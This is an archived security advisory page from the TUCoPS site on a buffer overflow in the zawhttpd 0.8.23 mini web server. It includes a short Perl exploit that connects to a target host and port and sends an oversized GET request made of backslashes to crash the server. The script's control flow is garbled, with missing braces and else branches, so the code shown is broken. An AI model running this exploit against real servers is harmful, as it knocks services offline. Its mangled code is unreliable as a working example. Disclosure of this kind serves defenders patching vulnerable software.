Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Web :: Servers :: b06-2008.htm

zawhttpd - Buffer Overflow
zawhttpd - Buffer Overflow
zawhttpd - Buffer Overflow

Name: zawhttpd 
Version: 0.8.23 previous version probably too.
Language: C
Problem: Buffer Overflow
Discovered by: Kamil 'K3' Sienicki

zawhttpd is a mini Web server that features HTTP/1.0 and 1.1 support, 
keep-alive persistent connections, IPv6 support, GET and HEAD requests,
chunked encoding and content-range, directory listing, basic
access logging, daemon mode, and more.

A remote user can supply a specially crafted data which crash server.

# zawhttpd Buffer Overflow Exploit 
#               by Kamil 'K3' Sienicki

use IO::Socket;
use strict;

my($socket) = "";

if($socket = IO::Socket::INET->new(
                PeerAddr => $ARGV[0],
                PeerPort => $ARGV[1],
                Proto => "TCP"))
        print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";   
        print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";
        print "perl localhost 80 \n";
        print "Cannot connect to $ARGV[0]:$ARGV[1]\n";

Kamil 'K3' Sienicki

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH